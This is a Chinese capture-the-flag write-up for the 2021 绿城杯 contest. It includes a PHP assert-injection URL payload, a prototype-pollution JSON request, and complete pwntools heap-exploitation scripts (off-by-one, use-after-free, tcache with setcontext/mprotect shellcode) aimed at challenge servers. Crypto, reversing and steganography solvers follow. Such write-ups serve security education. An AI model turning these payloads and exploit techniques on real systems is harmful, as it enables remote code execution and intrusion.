绿城杯2021 By T3ns0r

阅读量    164497 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

Web

1.ezphp

这个题目一打开,就发现有个?link_page= 猜想可能存在文件包含点。就直接拿伪协议打了一下。

发现报错了,因为file_exists("pages/") 会有一个pages目录限制。 然后尝试了一下 ../ 发现ban了。

然后换了个思路,扫了一下后台没啥东西。然后试了扫了一下源码泄露的点。发现有.git

然后用githack扫了一波。拿到源码:

主要是index.php 核心代码:

<?php

if (isset($_GET['link_page']))
{
    $link_page = $_GET['link_page'];
} else
{
    $link_page = "home";
}

$page_file = "pages/" . $link_page . ".php";

$safe_check1 = "strpos('$page_file', '..') === false";
assert($safe_check1) or die("no no no!");

// safe!
$safe_check2 = "file_exists('$page_file')";
assert($safe_check2) or die("no this file!");
?>

<?php
require_once $page_file;
?>

发现这里用的assert 然后 $link_page 变量可控,就直接拼接,然后命令执行。

最终的payload:http://cffd4c1d-763f-4c6b-ac41-ecef3d6c82b7.zzctf.dasctf.com/?link_page=%27.system(%22cd%20/var/www/html/pages;cat%20flag.php;%22).%27

2.Looking for treasure

一开始F12,发现有 source.zip 然后下载到源码,搜索了一下,发现类似的题目:https://0day.design/2020/08/11/defcon%20CTF%20Final%20Web%20WriteUp/

然后发现有些是被ban了,上面有几个解法打不通,最后用到的payload:

POST /config/validated HTTP/1.1
Host: 10.13.37.3:4017
User-Agent: python-requests/2.11.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 90
Content-Type: application/json

{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}

但是注意,这里的路由需要改一下,题目给的路由是 validated ,所以最后的payload:

POST /validated HTTP/1.1
Host: 10.13.37.3:4017
User-Agent: python-requests/2.11.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Content-Length: 90
Content-Type: application/json

{"$schema": {"properties": {"__proto__": {"properties": {"path": {"default": "/flag"}}}}}}

 

PWN

1.null

题目在add和edit中可以溢出一个字节,通过这点来修改chunk size,申请四个chunk,修改size去覆盖下面的chunk,合并大小大于0x80即可,free进入unsortedbin,再申请上面chunk的大小,通过切片使libc到被覆盖的chunk中,show,泄露libc,此时这个chunk同时存在于allocate和free态,申请出来,就会有两个指针指向它,之后free其中一个指针,再直接edit,拿到malloc_hook-0x23,将hook改为ogg,最后add即可gstshell。

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#p = process('./null_pwn')
libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

p = remote("82.157.5.28",51204)
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.30.so')

elf = ELF('./null_pwn')


def add(idx,size,content):
    p.sendlineafter("Your choice :",'1')
    p.sendlineafter("Index:",str(idx))
    p.sendlineafter("Size of Heap : ",str(int(size)))
    p.sendafter("Content?:",content)

def edit(idx,content):
    p.sendlineafter("Your choice :",'3')
    p.sendlineafter("Index:",str(idx))
    p.sendafter("Content?:",content)

def show(idx):
    p.sendlineafter("Your choice :",'4')
    p.sendlineafter("Index :",str(idx))

def free(idx):
    p.sendlineafter("Your choice :",'2')
    p.sendlineafter("Index:",str(idx))

heaparr = 0x602120
sizearr = 0x6020e0

add(0,0x18,'a'*0x10)
add(1,0x10,'b'*0x10)
add(2,0x60,'c'*0x10)
add(3,0x10,'d'*0x10)
edit(0,'b'*0x18+'\x91')
free(1)
add(1,0x10,'x')
show(2)
p.recvuntil("Content : ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
malloc_hook = libc_base+libc.sym["__malloc_hook"]
log.info("__malloc_hook="+hex(malloc_hook))

add(4,0x60,'b')
free(2)
edit(4,p64(malloc_hook-0x23))

add(5,0x60,'a')
add(6,0x60,'b')
ogg = libc_base+0xf1247
edit(6,'a'*0x13+p64(ogg))

p.sendlineafter("Your choice :",'1')
p.sendlineafter("Index:",'0')
p.sendlineafter("Size of Heap : ",'16')
#gdb.attach(p)

p.interactive()

2.uaf

free后没有清指针,直接利用uaf,free unsortedchunk泄露libc,改malloc_hook为ogg即可

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#libc
libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.30.so')

#p
elf = ELF('./uaf_pwn')
#p = process('./uaf_pwn')
p = remote("82.157.5.28",52102)


def add(size):
    p.sendlineafter(">",'1')
    #p.sendlineafter("Index:",str(idx))
    p.sendlineafter("size>",str(int(size)))
    #p.sendafter("Content?:",content)

def edit(idx,content):
    p.sendlineafter(">",'3')
    p.sendlineafter("index>",str(idx))
    p.sendafter("content>",content)

def show(idx):
    p.sendlineafter(">",'4')
    p.sendlineafter("index>",str(idx))

def free(idx):
    p.sendlineafter(">",'2')
    p.sendlineafter("index>",str(idx))


addr = int(p.recv(14),16)
log,info("addr = "+hex(addr))

add(0x90)#0
add(0x10)#1
free(0)
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-88-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
malloc_hook = libc_base+libc.sym["__malloc_hook"]
log.info("__malloc_hook="+hex(malloc_hook))

add(0x90)#2
add(0x60)#3
free(3)
edit(3,p64(malloc_hook-0x23))
add(0x60)#4
add(0x60)#5
ogg = libc_base+0x4527a
edit(5,'a'*0x13+p64(ogg))


p.sendlineafter(">",'1')
p.sendlineafter("size>",'16')

p.interactive()

3.green note

2.27的uaf,限制了chunk大小,还开了沙箱,但是7.3版本的2.27libc的tcache可以直接反复free,free nsortedchunk填满libc,再free一次进入unsortedbin,show泄露libc,之后拿到free_hook,改为setcontext+53,因为这版本利用rdi设置参数,使用sigframe框架设置寄存器后和free_hook附近值后,free这个框架chunk,调用mprotect改权限,再返回到shell1的read函数调用,读入shell2的orw,即可拿到flag

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#libc
#libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.30.so')
libc = ELF('libc-2.27.so')


#p
p = process('./GreentownNote')
#p = remote("82.157.5.28",52401)


def add(size,content):
    p.sendlineafter("> Your choice :",'1')
    #p.sendlineafter("Index:",str(idx))
    p.sendlineafter("> Note size :",str(int(size)))
    p.sendafter("> Content :",content)

# def edit(idx,content):
#     p.sendlineafter("> Your choice :",'3')
#     p.sendlineafter("index>",str(idx))
#     p.sendafter("content>",content)

def show(idx):
    p.sendlineafter("> Your choice :",'2')
    p.sendlineafter("| Index :",str(idx))

def free(idx):
    p.sendlineafter("> Your choice :",'3')
    p.sendlineafter("| Index :",str(idx))

add(0x80,'a')
add(0x80,'b')
for i in range(8):
    free(0)
show(0)
p.recvuntil("| Content: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
free_hook = libc_base+libc.sym["__free_hook"]
log.info("libc_base="+hex(libc_base))
log.info("free_hook="+hex(free_hook))

add(0x100,'a')
free(0)
free(0)
add(0x100,p64(free_hook))
add(0x100,'a')

#fist state arch
newexe = libc_base+libc.sym['__free_hook'] & 0xfffffffffffff000#memory page
#call read to store shellcode
shell1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % newexe
#call protect
frame = SigreturnFrame()
frame.rsp = libc_base + libc.sym['__free_hook']+0x10
#after setcontext's push, esp at +0x8 ,and here is rip,so after call [rip],
#it will ret and the ret addr is +0x10,so we can control a chain.
frame.rdi = newexe
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']

#orw
shell2 = '''
mov rax,0x67616c662f
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
'''
add(0x100,p64(libc_base+libc.sym["setcontext"]+53)+p64(libc_base+libc.sym["__free_hook"]+0x18)*2+asm(shell1))
add(0x200,str(frame))
free(4)
p.sendline(asm(shell2))
#gdb.attach(p)

p.interactive()

 

RE

1.easy_re

main函数有个花指令,去一下

反编译看main函数

观察算法特征,是RC4,但是有个细节变异 多了个异或0x37

key也有,密文动调得到

编写exp

key = 'tallmewhy'

text = [0xF5, 0x8C, 0x8D, 0xE4, 0x9F, 0xA5, 0x28, 0x65, 0x30, 0xF4,
        0xEB, 0xD3, 0x24, 0xA9, 0x91, 0x1A, 0x6F, 0xD4, 0x6A, 0xD7,
        0x0B, 0x8D, 0xE8, 0xB8, 0x83, 0x4A, 0x5A, 0x6E, 0xBE, 0xCB,
        0xF4, 0x4B, 0x99, 0xD6, 0xE6, 0x54, 0x7A, 0x4F, 0x50, 0x14,
        0xE5, 0xEC]
v2 = 0x100
enc_key = []
for i in range(0x100):
    enc_key.append(i)
v1 = 0
for j in range(0x100):
    v1 = (enc_key[j] + v1 + ord(key[j % len(key)])) % 0x100
    v4 = enc_key[j]
    enc_key[j] = enc_key[v1]
    enc_key[v1] = v4 ^ 0x37

v0 = 0
v1 = 0
for i in enc_key:
    print(hex(i), ',', end='')
for i in range(len(text)):
    v0 = (v0 + 1) % 0x100
    v1 = ((enc_key[v0] & 0xFF) + v1) % 0x100
    v3 = enc_key[v0]
    enc_key[v0] = enc_key[v1]
    enc_key[v1] = v3
    text[i] = text[i] ^ enc_key[(enc_key[v0] + enc_key[v1]) % 0x100]

print()
print(''.join(chr(text[i]) for i in range(len(text))))

# flag{c5e0f5f6-f79e-5b9b-988f-28f046117802}

2.baby_vxworks

花指令,还是先去一下

分析一下关键逻辑,有个递归,逆向一下不难,直接上脚本:

enc = [188, 10, 187, 193, 213, 134, 127, 10, 201, 185, 81, 78, 136, 10, 130, 185, 49, 141, 10, 253, 201, 199, 127, 185,
       17, 78, 185, 232, 141, 87]

def encrypt(s, n):
    if n == 0:
        return s & 0xff
    s = (s - 3) ^ 0x22
    return encrypt(s, n - 1)


for i in enc:
    print(chr(encrypt(i, len(enc))), end='')

 

Crypto

1.[warmup]加密算法

52位的仿射密码解密,CSDN搜到了脚本一把梭。exp如下:

import string


def decrypt(k1,k2,message):
    for i in range(52):
        if k1*i%52==1:
            inv = i
            break
    dic = string.ascii_letters
    m = []
    for i in message:
        if i.islower():
            num = ord(i)-ord('a')
            m.append(dic[inv*(num-k2)%52])
        elif i.isupper():
            num = ord(i)-ord('A')+26
            m.append(dic[inv*(num-k2)%52])
        else:
            m.append(i)
    print(''.join(m))

decrypt(37, 23, 'aoxL{XaaHKP_tHgwpc_hN_ToXnnht}')
# flag{AffInE_CIpheR_iS_clAssiC}

2.RSA-1

c是p的倍数,所以对n和c求gcd即为p。exp如下:

from gmpy2 import *
from libnum import *


n = 17365231154926348364478276872558492775911760603002394353723603461898405740234715001820111548600914907617003806652492391686710256274156677887101997175692277729648456087534987616743724646598234466094779540729413583826355145277980479040157075453694250572316638348121571218759769533738721506811175866990851972838466307594226293836934116659685215775643285465895317755892754473332034234495795936183610569571016400535362762699517686781602302045048532131426035260878979892169441059467623523060569285570577199236309888155833013721997933960457784653262076135561769838704166810384309655788983073376941843467117256002645962737847
c = 6944967108815437735428941286784119403138319713455732155925055928646536962597672941805831312130689338014913452081296400272862710447207265099750401657828165836013122848656839100854719965188680097375491193249127725599660383746827031803066026497989298856420216250206035068180963797454792151191071433645946245914916732637007117085199442894495667455544517483404006536607121480678688000420422281380539368519807162175099763891988648117937777951069899975260190018995834904541447562718307433906592021226666885638877020304005614450763081337082838608414756162253825697420493509914578546951634127502393647068722995363753321912676
e = 0x10001
p = gcd(n, c)
q = n // p
d = invert(e, (p-1)*(q-1))
print(n2s(int(pow(c, d, n) // p // 2021 // 1001)))
# flag{Math_1s_1nterest1ng_hah}

3.RSA-2

flag1是祥云杯的RSAssss,用费马因式分解n,网上搜到exp。flag2是用sympy解方程得到p和q。exp如下:

from sympy import Symbol, solve
from gmpy2 import *
from libnum import *


def fermat_factorization(n):
    factor_list = []
    get_context().precision = 4096
    x = int(sqrt(n))

    while True:
        x += 1
        y2 = x ** 2 - n
        if is_square(y2):
            #print('x = ',x)
            y2 = mpz(y2)
            get_context().precision = 4096
            y = int(sqrt(y2))
            factor_list.append([x+y, x-y])
        if len(factor_list) == 2:
            break
    return factor_list


n1 = 6348779979606280884589422188738902470575876294643492831465947360363568026280963989291591157710389629216109615274754718329987990551836115660879103234129921943824061416396264358110216047994331119920503431491509529604742468032906950984256964560405062345280120526771439940278606226153077959057882262745273394986607004406770035459301695806378598890589432538916219821477777021460189140081521779103226953544426441823244765828342973086422949017937701261348963541035128661464068769033772390320426795044617751909787914185985911277628404632533530390761257251552073493697518547350246993679844132297414094727147161169548160586911
c1 = 6201882078995455673376327652982610102807874783073703018551044780440620679217833227711395689114659144506630609087600915116940111002026241056808189658969089532597757995423694966667948250438579639890580690392400661711864264184444018345499567505424672090632235109624193289954785503512742400960515331371813467034511130432319427185134018830006918682733848618201088649690422818940385123599468595766345668931882249779415788129316594083269412221804774856038796248038700275509397599351533280014908894068141056694660319816046357462684688942519849441237878018480036145051967731081582598773076490918572392784684372694103015244826

s1 = 274773146761138462708137582309097386437793891793691383033856524303010811294101933454824485010521468914846151819876043508541879637544444256520741418495479393777132830985856522008561088410862815913292288683761657919121930016956916865849261153721097671315883469348972925757078089715102032241818526925988645578778
s2 = 18514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739141959926523082142273672741849552475156278397131571360099018592018959785627785130126477982765210498547680367230723634424036009539347854344573537848628061468892166199866227984167843139793429682559241317072979374002912607549039431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547840060892527576940077162990069687019966946826210112318408269749294366586682732614372434218768720577917368726530200897558912687470088583774711767599580037663378929000217
n2 = 40588227045595304080360385041082238507044292731344465815296032905633525556943787610712651675460810768762763493579129831271018141591546207557410817432455139315527674932933085299277599173971912445226532235814580879585317211349524406424200622675880992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465059373562194694957841264834312640926278890386089611103714990646541470577351599526904458342660444968591197606820361364761648205241041444681145820799054413179462285509661124362074093583494932706249461954240408827087015525507173082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486719492483671490834562579225506831496881542530519595438932482796867853234159664409420977526102480385193101883785161080269573707156626838551506024455480650224305894501968583442346807126920740779780593650871645915149689424292912611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805502511051165160827192795520182720802422213364247355775222858214648603034743679187470844212529134374975737510982287957316878179964602394749601431823167982157434890459245394370728942790117156485268116758052636794417268680901420193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048880565199317280428349802824448329898502788492233381873026217202981921654673840142095839603360666049476100561268336225902504932800605464136192275593886736746497955270280541423593
c2 = 25591090168544821761746024178724660839590948190451329227481168576490717242294520739865602061082558759751196452117720647426598261568572440942370039702932821941366792140173428488344932203576334292648255551171274828821657097667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550266972216752593788734836373144363217639612492397228808215205862281278774096317615918854403992620720969173788151215489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507116519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264933137622929024918619477538521533548551789739698933067212305578480416163609137189891797209277557411169643568540392303036719952140554435338851671440952865151077383220305295001632816442144022437763089133141886924265774247290306669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059299035212928041546259933118564251119588970009016873855478556588250138969938599988198494567241172399453741709840486953189764289118312870580993115636710724139809708256360212728127786394411676427828431569046279687481368215137561500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077896631909654671612557207653830344897644115936322128351494551004652981550758791285434809816872381900401440743578104582305215488888563166054568802145921399726673752722820646807494657299104190123945675647
e = 0x10001
factor_list = fermat_factorization(n1)
[X1, Y1] = factor_list[0]
[X2, Y2] = factor_list[1]
p1 = gcd(X1, X2)
q1 = X1 // p1
p2 = gcd(Y1, Y2)
q2 = Y1 // p2
phi = (p1 - 1) * (q1 - 1) * (p2 - 1) * (q2 - 1)
d1 = invert(e, phi)
flag1 = n2s(int((pow(c1, d1, n1))))
# p3 = Symbol('p3')
# q3 = Symbol('q3')
# p3, q3 = solve([p3+q3-s1, p3*q3-s2], [p3, q3])[0]
# print(p3, q3)
p3 = 118403784459455138582919377906131738592946190895354489225890530955489713357948723774385902598164582767355529878101682058998518634444589192617157682795489868846289962039288493883412519273541770945888153150197763095564026103787571812611196732248676365740482179339301570536662025044058993433932899960459852671737
q3 = 156369362301683324125218204402965647844847700898336893807965993347521097936153209680438582412356886147490621941774361449543361003099855063903583735699989524930842868946568028125148569137321044967404135533563894823557903913169345053238064421472421305575401290009671355220416064671043038807885626965528792907041
d2 = invert(e, (p3-1)*(q3-1))
flag2 = n2s(int(pow(c2, d2, p3*q3)))
print(flag1 + flag2)
# flag{Euler_funct1ons_1s_very_interst1ng}

 

Misc

1.[warmup]音频隐写

加上.wav的后缀名,拖入Audacity查看频谱图,放大后面一段看到:

flag{f8fbb2c761821d3af23858f721cc140b}

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多